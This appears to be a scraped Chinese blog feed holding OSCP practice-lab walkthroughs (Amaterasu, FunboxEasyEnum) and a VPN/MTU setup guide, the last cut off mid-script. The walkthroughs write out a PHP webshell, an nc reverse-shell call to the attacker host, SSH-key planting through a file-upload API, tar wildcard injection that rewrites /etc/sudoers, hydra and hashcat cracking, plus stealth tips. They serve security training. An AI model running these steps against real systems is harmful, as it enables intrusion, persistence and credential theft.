vsFTPd 3.0.3安全、快速、稳定 13|_状态结束 14| FTP - Anonymous：允许匿名FTP登录（FTP代码230） 15|_无法获取目录列表：TIMEOUT 也不能用题目给的提示信息登录。\n网页信息 33414端口无法直接访问，40080端口可以打开。\n没有有效信息，但是再次查看的Nmap的扫描结果，确定33414 端口是打开的，那么说明网页文件可能不是index.html的形式打开就能看，要扫描一下找找隐藏文件。\n扫描目录 中间VPN波动短了一次，重启后靶机地址变为192.168.203.249，攻击机地址变为192.168.45.228\n1dirsearch -u http://192.168.203.249:33414 -x 302,403 2# 或 3gobuster dir -u http://192.168.203.249:33414/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -t 25 -o scan_report.txt -k --random-agent 1\u0026#34;Python File Server REST API v2.5\u0026#34; 2\u0026#34;Author: Alfredo Moroder\u0026#34; 3\u0026#34;GET /help = List of the commands\u0026#34; 4 5\u0026#34;GET /info : General Info\u0026#34; 6\u0026#34;GET /help : This listing\u0026#34; 7\u0026#34;GET /file-list?dir=/tmp : List of the files\u0026#34; 8\u0026#34;POST /file-upload : Upload files\u0026#34; /file-list?dir=/tmp 这个能目录遍历，能确定第一个flag文件的位置，但是不能看root下面的文件夹。\n40080端口火狐页面的网站地址。\nFTP的配置文件？\n但是只有目录遍历是不够的，如果想要查看文件就无法直接读取。所以，下一步还是要建立一个稳定的Shell。\n建立稳定Shell 文件上传 从help 页面看到提示/file-upload似乎可以上传文件，但是输入网页是无法访问的，四喜观察发现了，限定请求方式是只能POST，没有GET。\n在终端使用curl来请求这个POST。\n1curl -X POST http://192.168.203.249:33414/file-upload 提示没有要上传的文件，说明是要带上文件参数运行的。\n1curl http://192.168.203.249:33414/file-upload -X POST -F \u0026#34;file=@本地文件路径\u0026#34; 提示需要文件名。\n1echo a \u0026gt; a.txt # 随便写点 2curl http://192.168.203.249:33414/file-upload -X POST -F \u0026#34;file=@a.txt\u0026#34; -F \u0026#34;filename=aaa\u0026#34; 成功了，尝试别的文件行不行。发现只允许txt, pdf, png, jpg, jpeg, gif这几种格式。\n如果这个靶机用的php搭建的，那么我们现在可以上传图片马，改名成a.pnp，然后在蚁剑中连接即可，或者直接上传一个php反弹的脚本。但是由于网页并没有使用PHP，所以这个方法行不通。尝试把文件传到别处，发现在/home/alfredo文件夹下上传成功。\n虽然说传不了图片马，但是/home/alfredo可以读写的话，就可以传一个ssh密钥上去用于免密登录SSH。\n生成密钥上传 生成密钥对\n1ssh-keygen 作用：生成公钥/私钥对（RSA 算法） 生成文件： id_rsa：私钥（客户端本地保存，绝不可泄露） id_rsa.pub：公钥（上传到服务器） 设置私钥权限\n1chmod 600 id_rsa 作用：设置私钥文件仅当前用户可读写 原因：SSH 拒绝使用权限过大的私钥文件（\u0026gt;600） 创建授权文件\n1cp id_rsa.pub authorized_keys 作用：将公钥转为 SSH 认证格式 说明：authorized_keys文件存储所有被允许的公钥 备份授权文件\n1cp authorized_keys authorized_keys.txt 作用：创建公钥列表备份（可选步骤） 上传密钥\n1curl -i -L -X POST -H \u0026#34;Content-Type: multipart/form-data\u0026#34; -F \u0026#34;file=@/home/kali/Desktop/authorized_keys.txt\u0026#34; -F \u0026#34;filename=/home/alfredo/.ssh/authorized_keys\u0026#34; http://192.168.203.249:33414/file-upload 2 3curl http://192.168.203.249:33414/file-upload -X POST -F \u0026#34;file=@authorized_keys.txt\u0026#34; -F \u0026#34;filename=/home/alfredo/.ssh/authorized_keys\u0026#34; 将密钥传到服务器后就可以用密钥登录了。 使用密钥登录\n1ssh alfredo@192.168.203.249 -i id_rsa -p 25022 -i id_rsa：指定私钥文件路径 -p 25022：指定非标准 SSH 端口 发现第一个Flag。\n提权root 进入终端后发现不能sudo -l，这里其实题目给了提示，Alfredo的密码是DriveMailLens774。但是这样就没意思了。还是尽量自己找其他能进root的方式。\n上传小豌豆 老样子还是掏出小豌豆一顿梭哈。\n1wget https://ghfast.top/https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh 这里提示靶机的网络环境似乎是找不到github，问题不大，可以在本机下载后再用scp上传即可，或者在本机开启短暂的http网页，靶机请求下载即可。\n使用开启网页下载的方式无法下载，换tmp目录也是下载很慢。\n问题不大，还有Plan B，用SCP方式上传。\n1scp -i id_rsa -P 25022 linpeas.sh alfredo@192.168.203.249:/home/alfredo 内网信息收集 扫描发现日志文件中存在一个用root身份执行的备份脚本。\n1*/1 * * * * root /usr/local/bin/backup-flask.sh pkexec 提权尝试 又可以用这个命令一键提权，但是提权失败了，因为 alfredo账户没有sudu权限，可执行命令里面页没有pkexec。\n可以执行的命令。\n发现alfredo账户原本的密钥，这里可以复制下来，然后悄咪咪删除我们传上去的临时密钥，以后用本尊密钥登录，神不知鬼不觉的。\n1# 从服务器下载文件 2scp -i id_rsa -P 25022 alfredo@192.168.203.249:[远程文件] [本地路径] 后面没有发现有用的信息了，所以还是回到之前发现定时任务中。看一下这个命令的权限，我们能不能直接修改，看看他写了什么。\n1ls /usr/local/bin/backup-flask.sh -al 2cat /usr/local/bin/backup-flask.sh 可以发现，对backup-flask.sh文件，无法直接修改内容，因为alfredo账户对这个文件只有读和执行权限。而backup-flask.sh脚本完成了三件事：\n修改环境变量：\nexport PATH=\u0026quot;/home/alfredo/restapi:$PATH\u0026quot;\n把 /home/alfredo/restapi目录添加到系统命令搜索路径的最前面，后续执行命令时，系统会优先在这个目录中查找可执行文件\n切换工作目录：\ncd /home/alfredo/restapi\n进入 restapi 应用程序所在的目录\n打包文件：\ntar czf /tmp/flask.tar.gz *\n将当前目录所有文件（*）压缩成 gzip 格式的 tar 包 flask.tar.gz存档，保存在 /tmp目录下，c表示创建新压缩包，z表示使用 gzip 压缩，f指定输出文件名。\n能利用的命令只有tar命令，另外两个命令在https://gtfobins.github.io/#搜不到相应的提权用法。\nhttps://gtfobins.github.io/gtfobins/tar/，提权的具体原理见文末Tar提权详解\nTar提权 1cd /home/alfredo/restapi 2cat \u0026gt; payload.sh 3 4echo \u0026#39;alfredo ALL=(root) NOPASSWD: ALL\u0026#39; \u0026gt; /etc/sudoers 5# 上面是开放所有权限，动作大，实际渗透中容易被发现 6# 下面这个命令是只开放pkexec的无密码sudo执行权限，一般管理员不仔细查的话是发现不了的 7echo \u0026#39;alfredo ALL=(root) NOPASSWD: /usr/bin/pkexec\u0026#39; \u0026gt; /etc/sudoers 8# 输入完按 Ctrl D结束即可保存 9 10chmod +x payload.sh 11echo \u0026#34;\u0026#34; \u0026gt; \u0026#39;--checkpoint=1\u0026#39; 12echo \u0026#34;\u0026#34; \u0026gt; \u0026#39;--checkpoint-action=exec=sh payload.sh\u0026#39; 13 14# 等待打包命令执行 15# 用之前执行失败的提权方式再次提权 16sudo pkexec /bin/sh # bash也行 17sudo pkexec /bin/bash 18# 如果开放的是全权限，直接进入即可。 19sudo -l 20sudo /bin/bash 知识点整理 🔑 SSH 密钥认证全流程（重要文件位置）： 文件 位置 角色 权限要求 私钥 id_rsa 客户端 （您的电脑） 认证身份 chmod 600 （仅用户读写） 公钥 id_rsa.pub 服务端 ~/.ssh/authorized_keys 授权认证 自动处理 授权文件 authorized_keys 服务端 ~/.ssh/目录 公钥白名单 chmod 600 ⚠️ 安全注意事项： 私钥保护\n私钥相当于密码，需妥善保管 禁用私钥：服务器上删除 authorized_keys中对应公钥 服务器文件权限\n1chmod 700 ~/.ssh # 目录权限 2chmod 600 ~/.ssh/authorized_keys # 授权文件权限 增强安全性\n1ssh-keygen -o -a 100 -t ed25519 # 使用更安全的ED25519算法 💡 密钥认证比密码更安全的原因：抗暴力破解、支持双因素认证（私钥+密码）、可撤销性强。\nTar提权详解 1tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh 这个命令利用了 tar命令的检查点功能来执行任意命令，最终会启动一个交互式的 shell（/bin/sh）。下面是详细解释：\n命令分解： 1tar -cf /dev/null /dev/null # 基础归档操作 2--checkpoint=1 # 设置检查点间隔 3--checkpoint-action=exec=/bin/sh # 在每个检查点执行指定命令 逐步解释： 归档操作：\n1tar -cf /dev/null /dev/null -c：创建新归档 -f /dev/null：指定归档文件为系统空设备（写入的内容会被丢弃） /dev/null：被归档的文件（同样是空设备） 效果：实际上不产生任何文件，只是一个空操作 检查点设置：\n1--checkpoint=1 每处理 1 个文件 就触发一次检查点（默认是每 10 个记录触发） 检查点动作：\n1--checkpoint-action=exec=/bin/sh 在每次检查点触发时执行 /bin/sh 效果：当 tar处理第一个（也是唯一一个）文件（/dev/null）时立即启动一个 shell，这个Shell用哪个角色执行就是那个角色的权限。 ⚠️ 安全风险： 这是著名的 tar 提权技术，常用于：\n绕过受限环境获取完整 shell 当用户有权限执行 tar 时进行权限提升 反弹 shell 的技术变种 实际效果： 该命令会立即启动一个 交互式 shell（/bin/sh） 因为归档目标是 /dev/null，所以不生成任何实际文件 完整命令会在当前用户上下文执行 /bin/sh 典型攻击场景： SUID 提权：\n1find / -perm -u=s -type f 2\u0026gt;/dev/null | grep tar 2# 如果返回 /bin/tar，则运行： 3/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh sudo 权限提升：\n1sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh 容器逃逸：\n在 Docker 容器内运行可直接获得宿主机 shell（若容器以特权模式运行）\nTar提权命令配合*通配符的用法 在本地kali中模拟靶机环境的restapi文件夹，文件夹下原本存在33414端口上的服务，主要是app.py和 main.py两个文件。\n当backup-flask.sh执行打包命令时，正常情况下，打包的是这两个py文件。\ntar czf /tmp/flask.tar.gz * 但是当在文件夹下输入这两个命令，创建了两个空文件，实际上这两个文件里什么都没写，重要的是文件名，文件名就是提权的参数。\n1echo \u0026#34;\u0026#34; \u0026gt; \u0026#39;--checkpoint=1\u0026#39; 2echo \u0026#34;\u0026#34; \u0026gt; \u0026#39;--checkpoint-action=exec=sh payload.sh\u0026#39; 那么当运行 tar czf /tmp/flask.tar.gz *这个命令时，通配符星号（*）意思是选取了文件夹下的所有文件，通配符星号（*）认为\u0026rsquo;\u0026ndash;checkpoint=1\u0026rsquo; 和\u0026rsquo;\u0026ndash;checkpoint-action=exec=sh payload.sh\u0026rsquo;是两个文件，所以加入到命令中，此时通配符星号（*）代表的是：\n1app.py flask.tar.gz main.py payload.sh \u0026#39;--checkpoint=1\u0026#39; \u0026#39;--checkpoint-action=exec=sh payload.sh\u0026#39; 但是当执行tar命令时，tar会认为后面两个是参数，不是文件名。所以执行tar时就通过文件名玩文字游戏，把提权参数写成文件名，巧妙的通过通配符送入root的定时任务，让其代劳。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-17T17:23:45Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-amaterasu-wp/","title":"OSCP官方靶场-Amaterasu WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官方网页打开或下载靶场文件\nhttps://www.vulnhub.com/entry/funbox-easyenum,565/\n快速连接OffSec靶场的小方法 信息收集 1# 靶机地址 2192.168.151.132 3# Kali攻击机在VPN中的地址 4192.168.45.156 测试靶场网络连接速度 1ping 192.168.151.132 -c 10 | grep rtt 使用【踩坑总结】丝滑连接OffSec官方VPN的方法中的方法测试最佳MTU值并自动设置。\n扫描端口 1ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.151.132 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 2echo $ports 3sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.151.132 4sudo nmap --script=vuln -p$ports -Pn 192.168.151.132 扫描结果如下：\n1┌──(kali㉿kali)-[~/Desktop] 2└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.151.132 3Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 03:48 EDT 4Nmap scan report for bogon (192.168.151.132) 5Host is up (0.096s latency). 6 7PORT STATE SERVICE VERSION 822/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 9| ssh-hostkey: 10| 2048 9c:52:32:5b:8b:f6:38:c7:7f:a1:b7:04:85:49:54:f3 (RSA) 11| 256 d6:13:56:06:15:36:24:ad:65:5e:7a:a1:8c:e5:64:f4 (ECDSA) 12|_ 256 1b:a9:f3:5a:d0:51:83:18:3a:23:dd:c4:a9:be:59:f0 (ED25519) 1380/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 14|_http-title: Apache2 Ubuntu Default Page: It works 15|_http-server-header: Apache/2.4.29 (Ubuntu) 16Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 17Device type: general purpose 18Running: Linux 4.X|5.X 19OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 20OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14 21Network Distance: 4 hops 22Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 23 24OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 25Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds 1┌──(kali㉿kali)-[~/Desktop] 2└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.151.132 3Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 03:53 EDT 4Nmap scan report for bogon (192.168.151.132) 5Host is up (0.11s latency). 6 7PORT STATE SERVICE 822/tcp open ssh 980/tcp open http 10|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 11|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities. 12| http-slowloris-check: 13| VULNERABLE: 14| Slowloris DOS attack 15| State: LIKELY VULNERABLE 16| IDs: CVE:CVE-2007-6750 17| Slowloris tries to keep many connections to the target web server open and hold 18| them open as long as possible. It accomplishes this by opening connections to 19| the target web server and sending a partial request. By doing so, it starves 20| the http server\u0026#39;s resources causing Denial Of Service. 21| 22| Disclosure date: 2009-09-17 23| References: 24| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 25|_ http://ha.ckers.org/slowloris/ 26|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 27| http-enum: 28| /robots.txt: Robots file 29|_ /phpmyadmin/: phpMyAdmin 打开80端口如图，是一个Apache2默认配置页面，如果说管理员没有配置网站访问权限的话，应该还能使用目录扫描发现其他默认目录。\n扫描目录 字典目录地址如下，一般选择Medium字典即可。\n1cd /usr/share/wordlists/dirbuster 2ls 1sudo gobuster dir \\ 2 -u http://192.168.151.132/ \\ # 目标 URL 3 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \\ # 使用中等规模字典 4 -e \\ # 显示完整 URL 5 -t 20 \\ # 20 线程加速扫描 6 -x php # 额外探测 .php 文件 发现存在新的页面：\n1http://192.168.151.132/mini.php 反弹Shell 这个靶机是个奖励关，是一个文件上传的练手靶机。现实情况中，基本没有这么傻的服务器。练手也要好好练习，这是一个典型的PHP文件上传还能反弹PHP代码的靶机，我们可以用这个靶机练习多种反弹Shell的方式。\n方法一：修改Mini.php，注入反弹 选择Mini.php的选项，选择 Edit 编辑，点击执行按钮。\n可以修改Mini.php文件的内容，额外的发现是option\u0026amp;path=/var/www/html似乎可以用于遍历目录，但是访问其他目录没有列出文件，似乎是没有权限。\n还是回到原来的思路，修改php文件，加入一句话木马。\n1\u0026lt;?=`$_GET[0]`?\u0026gt; 这里可以发现第一个flag了。网页形式的命令实在是不好操作，把 Mini.php改一个反弹的命令。初次尝试用下面的命令，弹回了，但是无法有交互的终端，如果带上-e或者-c /bin/bash参数的话，就无法弹回来了。\n1http://192.168.151.132/mini.php?0=nc%20192.168.45.156%204777 方法二：上传反弹php文件，访问反弹 查找PHP反弹shell的脚本\n1find / -name \u0026#39;php-reverse*\u0026#39; 2\u0026gt;/dev/null 2--- 3┌──(kali㉿kali)-[~/Desktop] 4└─$ find / -name \u0026#39;php-reverse*\u0026#39; 2\u0026gt;/dev/null 5/usr/share/laudanum/php/php-reverse-shell.php 6/usr/share/laudanum/wordpress/templates/php-reverse-shell.php 复制到本地，修改然后再网页中上传。\n可以发现权限是只读的，该做全员可读可写可执行。\n访问此链接，反弹成功。\n提权Root 从一开始的目录扫描和Nmap的结果中我们还漏了一个phpmyadmin的数据库页面，打开发现确实是存在。但是密码不是默认密码。\n内网信息收集 继续从建立的Shell探索。在/tmp目录下载linpeas.sh脚本，来查找系统下有什么可疑文件可以利用。\n1cd /tmp 2wget https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh 3chmod +x linpeas.sh 4./linpeas.sh 找到个3306端口开放，应该是phpmyadmin的数据库端口。53作为DNS的服务器。\nPkexec似乎可以用作提权。\n密码文件里，这个似乎可以爆下哈希。\n1oracle:$1$|O@GOeN\\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash Karla用户似乎是管理员角色的账户，他的权限比其他人高，仅次于root。\n发现数据库的配置文件。\n其他有趣的文件，后来看了不知道是干什么的。\n数据库密码也找到了。\n1╔══════════╣ Readable files belonging to root and readable by me but not world readable 2-rw-r----- 1 root www-data 525 Sep 18 2020 /etc/phpmyadmin/config-db.php 3-rw-r----- 1 root www-data 8 Sep 18 2020 /etc/phpmyadmin/htpasswd.setup 4-rw-r----- 1 root www-data 68 Sep 18 2020 /var/lib/phpmyadmin/blowfish_secret.inc.php 5-rw-r----- 1 root www-data 0 Sep 18 2020 /var/lib/phpmyadmin/config.inc.php 6╔══════════╣ Searching passwords in config PHP files 7/etc/phpmyadmin/config-db.php:$dbpass=\u0026#39;tgbzhnujm!\u0026#39;; 8/etc/phpmyadmin/config-db.php:$dbuser=\u0026#39;phpmyadmin\u0026#39;; 9/etc/phpmyadmin/config.inc.php: // $cfg[\u0026#39;Servers\u0026#39;][$i][\u0026#39;AllowNoPassword\u0026#39;] = TRUE; 10/etc/phpmyadmin/config.inc.php:// $cfg[\u0026#39;Servers\u0026#39;][$i][\u0026#39;AllowNoPassword\u0026#39;] = TRUE; 11/usr/share/phpmyadmin/config.sample.inc.php:$cfg[\u0026#39;Servers\u0026#39;][$i][\u0026#39;AllowNoPassword\u0026#39;] = false; 12/usr/share/phpmyadmin/libraries/config.default.php:$cfg[\u0026#39;Servers\u0026#39;][$i][\u0026#39;AllowNoPassword\u0026#39;] = false; 13/usr/share/phpmyadmin/libraries/config.default.php:$cfg[\u0026#39;Servers\u0026#39;][$i][\u0026#39;nopassword\u0026#39;] = false; 14/usr/share/phpmyadmin/libraries/config.default.php:$cfg[\u0026#39;ShowChgPassword\u0026#39;] = true; 15 16╔══════════╣ Modified interesting files in the last 5mins (limit 100) 17/var/log/auth.log 18/var/log/journal/7eb907a1e82c4e37b03c20faa67cf884/system.journal 19/var/log/syslog 使用小豌豆找到的密码，尝试登录phpmyadmin后台成功。所以凭证就是\n1phpmyadmin 2tgbzhnujm! 方法一：进入Karla sudo su快捷提权（瞎蒙） 从前面收集的信息来看，Karla推测是管理员的角色，而管理员一般就是维护数据库的人，极有可能重复使用同一个密码。尝试切换到Karla账户，输入数据库的密码蒙一下：tgbzhnujm!成功进入。\nKarla确实是管理员角色，sudo -l发现它可以执行所有命令，所以直接sudo su就能进root了。\n方法二：进入Karla用Pkexec提权 内网信息收集中的Pkexec似乎可以用作提权，查询https://gtfobins.github.io/gtfobins/pkexec/提权命令即可。www-data账户不可提权，因为不知道www-data的密码。karla账户可以，Oracle账户不行。\n方法三：爆破Goat，用Mysql提权 内网信息手机中发现，Goat账户是可以SSH登录的，而官网题目也提示了goat。所以，直接尝试用hydra爆破一下ssh登录。\n1hydra -l goat -P /usr/share/wordlists/rockyou.txt ssh://192.168.151.132 2ssh goat@192.168.151.132 3密码也是goat 也可以不用爆，题目已经给了提示。\n登录后发现mysql命令可以无密码提权，搜索https://gtfobins.github.io/gtfobins/mysql/命令输入即可提权。\n其他玩法 Oracle账户 之前发现有Oracle账户的哈希，尝试爆破。\n1cat \u0026gt; orcalhash 2# 粘贴下面的内容，按 Ctrl D结束 3oracle:$1$|O@GOeN\\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash 4 5cd /usr/share/wordlists 6sudo gzip -d rockyou.txt.gz 1 hashcat orcalhash /usr/share/wordlists/rockyou.txt 爆破密码得到是hiphop\n可以直接从www-data账户直接su oracle进入账户，但是好像没啥有用的。\nHarry账户 在Karla账户或root账户下执行sudo mysql进入数据库。\n1show databases; 2use db1 3show tables; 4select * from users; 解码一下得到密码是123456\n但是好像也没啥用。\n遗憾：没找到Sllay的密码。 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-16T23:45:31Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-funboxeasyenum-wp/","title":"OSCP官方靶场-FunboxEasyEnum WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具。\n方法对比 难度 流畅度 靶机VPN是否双端 流量消耗 稳定性 方法一：Tun模式 ⭐⭐ 340ms 仅Kali 大 好 方法二：允许局域网 ⭐⭐⭐ 190ms Win、Kali双端 小 差 方法三：Kali中单独登机 ⭐⭐⭐ 200ms 仅Kali 中 好 流畅度测试命令 ping IP -c 10 |grep rtt\n方法一：物理机登机场开Tun模式，Kali虚拟机连接靶机VPN 找个机场订阅，需要登机方式的可以后台私信我。\n点击左边的“代理”，点击“全局”，设置为全局模式，点击Traffic自动选择最快的节点，考试时候建议手动选择下面有地名的节点，一开始选的哪一个，只选那个，不要换节点，可能会因为节点异地登录引起麻烦。\n点击左侧“设置”按钮，打开Tun模式和服务模式，红框里面的建议都打开，其他按钮不要动。服务模式的小盾牌点一下，安装一个组件，没有装的装一下。\n除了Clash小猫咪软件，也可以使用V2rayN软件特定版本的tun模式，不要使用新版，新版的tun不稳定。\n此时进入Kali虚拟机，查询一下自己的出口节点，确实是机场的节点了，而且ping谷歌的速度也比较快，就说明翻过去了。\n下载Kali官方的VPN，复制到Kali虚拟机中。\n然后在Kali中使用以下命令连接Kali靶机的VPN。\n1sudo openvpn universal.ovpn 然后用ifconfig 命令能发现多出来的网卡。\n使用如下命令设置以下速率，来保证VPN的传输稳定，如果你的机场够快，下面的命令也可以不设，默认的1500速度也一样的。\n1sudo ip link set dev tun0 mtu 1250 2ip link show tun0 靶场漏端口的情况和机场连接的速度有关，测试下来的经验：\n极速机场：便宜，拖Docker镜像确实极速，但是干别的不行，Kali的VPN都连不上。\n龙猫机场：价格中等，拖Docker镜像有点慢，综合来说干什么都可以，就是都有点慢，能连Kali的VPN，但是扫端口略慢。\nFlower机场：价格是龙猫的两倍，速度很快，连Kali的VPN很丝滑，推荐考试使用。\n一元机场：白菜价，巨慢，疑似跑路了，节点没几个活的了。\n自建专线机场：包机，很快，但是也贵，速度看机场在哪里，建议买香港节点，连Kali的VPN很丝滑，推荐考试使用。\n总结：这个方法最简单也最直接，但是tun+全局模式会让所有流量都走的机场代理，对于机场流量消耗巨大。还有就是某些国内网站从国外地址翻进来访问也是很慢很慢。\n方法二：物理机登机场允许局域网连接，修改universal.ovpn开头 代理规则组依旧是选择全局代理。\n系统设置上关闭Tun模式，关闭服务模式，打开“局域网连接”\n注意看端口用的时哪一个，这里用的时7897。修改官网下载的VPN文件，在首行加入代理地址\n1socks-proxy 127.0.0.1 7897 然后再物理机Windows中直接导入OpenVPN GUI软件中，再Windows上连接VPN。\nVPN软件中设置代理为“使用配置文件中的设置”\n选中VPN名称后右键打开选项，点击连接即可。第一次连接后有概率会重连或断开一次，再次点击重新连接即可。\nWIndows下打开也可以看靶机，Kali下也可以。\nWindows和Kali上的速率相差不大。\n但是使用Nmap有概率扫漏端口。\n直接请求的话，还是能请求的。但是连接不稳定，即使物理机到虚拟机的网络设置了不限速，但是再Kali中扫描靶机还是很慢。还有概率断线。\n方法三：Kali中用V2rayN命令行连接，Kali直连Vpn 安装V2rayN的Linux版本，复制机场信息到Kali中，在Kali中登录VPN。\n扫描端口也不掉包的。\n命令参数之间的配合 如果mtu速度、机场速度和Nmap等命令参数配合的不对，可能出现以下情况\n一扫就是一堆 端口漏扫 扫的很慢，半天没有反应。 每个人的网络环境不一样，带宽和速度不一样，使用Wifi和使用网线的稳定性和速率也不一样。所以同样的命令参数，别人能用但不代表你的网络环境能用。建议考试时，提前测试考试地点的网络环境或者使用之前练习时候的场景即可。尽量保证网络最优，不要因为漏扫某个关键端口而出现打不进去的情况。如果你怀疑你的网络有问题，建议使用官方网页的My Kali再次验证一下，以官方My Kali的扫描结果为准。\n下面是一些网络优化的建议：\n自动MTU测试脚本 将以下脚本保存为mtu-test.sh\n1#!/bin/bash 2# 自动化MTU测试脚本 - 支持自定义参数 3 4# 默认参数配置 5DEFAULT_TARGET=\u0026#34;192.168.116.72\u0026#34; 6QUICK_START=1472 # 快速测试起始值 7QUICK_END=1200 # 快速测试结束值 8QUICK_STEP=-10 # 快速测试步长 9FULL_START=1472 # 完整测试起始值 10FULL_END=500 # 完整测试结束值 11FULL_STEP=-5 # 完整测试步长 12TUNNEL_OVERHEAD=40 # 默认隧道包头开销(字节) 13 14# 帮助信息 15show_help() { 16 echo \u0026#34;用法: $0 [选项]\u0026#34; 17 echo \u0026#34;选项:\u0026#34; 18 echo \u0026#34; -t \u0026lt;IP地址\u0026gt; 指定测试目标 (默认: $DEFAULT_TARGET)\u0026#34; 19 echo \u0026#34; -f 使用完整测试范围 (默认使用快速范围)\u0026#34; 20 echo \u0026#34; -o \u0026lt;字节\u0026gt; 隧道包头开销 (默认: $TUNNEL_OVERHEAD)\u0026#34; 21 echo \u0026#34; -s \u0026lt;起始值\u0026gt; 自定义测试起始值 (需要 -e 和 -p 配合)\u0026#34; 22 echo \u0026#34; -e \u0026lt;结束值\u0026gt; 自定义测试结束值\u0026#34; 23 echo \u0026#34; -p \u0026lt;步长\u0026gt; 自定义测试步长 (必须为负数)\u0026#34; 24 echo \u0026#34; -h 显示帮助信息\u0026#34; 25 exit 0 26} 27 28# 参数解析 29while getopts \u0026#34;t:fho:s:e:p:\u0026#34; opt; do 30 case $opt in 31 t) TARGET=\u0026#34;$OPTARG\u0026#34; ;; 32 f) USE_FULL_RANGE=true ;; 33 o) TUNNEL_OVERHEAD=\u0026#34;$OPTARG\u0026#34; ;; 34 s) CUSTOM_START=\u0026#34;$OPTARG\u0026#34; ;; 35 e) CUSTOM_END=\u0026#34;$OPTARG\u0026#34; ;; 36 p) CUSTOM_STEP=\u0026#34;$OPTARG\u0026#34; ;; 37 h) show_help ;; 38 *) echo \u0026#34;无效选项: -$OPTARG\u0026#34; \u0026gt;\u0026amp;2; exit 1 ;; 39 esac 40done 41 42# 设置目标 43TARGET=${TARGET:-$DEFAULT_TARGET} 44 45# 设置测试范围 46if [ -n \u0026#34;$CUSTOM_START\u0026#34; ] \u0026amp;\u0026amp; [ -n \u0026#34;$CUSTOM_END\u0026#34; ] \u0026amp;\u0026amp; [ -n \u0026#34;$CUSTOM_STEP\u0026#34; ]; then 47 echo \u0026#34;使用自定义测试范围: $CUSTOM_START -\u0026gt; $CUSTOM_END (步长 $CUSTOM_STEP)\u0026#34; 48 TEST_START=$CUSTOM_START 49 TEST_END=$CUSTOM_END 50 TEST_STEP=$CUSTOM_STEP 51elif [ \u0026#34;$USE_FULL_RANGE\u0026#34; = true ]; then 52 echo \u0026#34;使用完整测试范围: $FULL_START -\u0026gt; $FULL_END (步长 $FULL_STEP)\u0026#34; 53 TEST_START=$FULL_START 54 TEST_END=$FULL_END 55 TEST_STEP=$FULL_STEP 56else 57 echo \u0026#34;使用快速测试范围: $QUICK_START -\u0026gt; $QUICK_END (步长 $QUICK_STEP)\u0026#34; 58 TEST_START=$QUICK_START 59 TEST_END=$QUICK_END 60 TEST_STEP=$QUICK_STEP 61fi 62 63# 验证自定义步长 64if [ -n \u0026#34;$CUSTOM_STEP\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;$CUSTOM_STEP\u0026#34; -ge 0 ]; then 65 echo \u0026#34;错误: 自定义步长必须是负数!\u0026#34; \u0026gt;\u0026amp;2 66 exit 1 67fi 68 69# 计算实际MTU值时需添加头部大小 70HEADER_SIZE=28 # IP头(20字节) + ICMP头(8字节) 71SUCCESS_SIZE=0 72 73# 设置临时MTU 74TEMP_MTU=1250 75sudo ip link set dev tun0 mtu $TEMP_MTU 76echo \u0026#34;设置临时MTU为$TEMP_MTU用于测试\u0026#34; 77 78# MTU测试函数 79test_mtu_range() { 80 local size=$TEST_START 81 while [ \u0026#34;$size\u0026#34; -ge $TEST_END ]; do 82 local packet_size=$((size - HEADER_SIZE)) 83 if 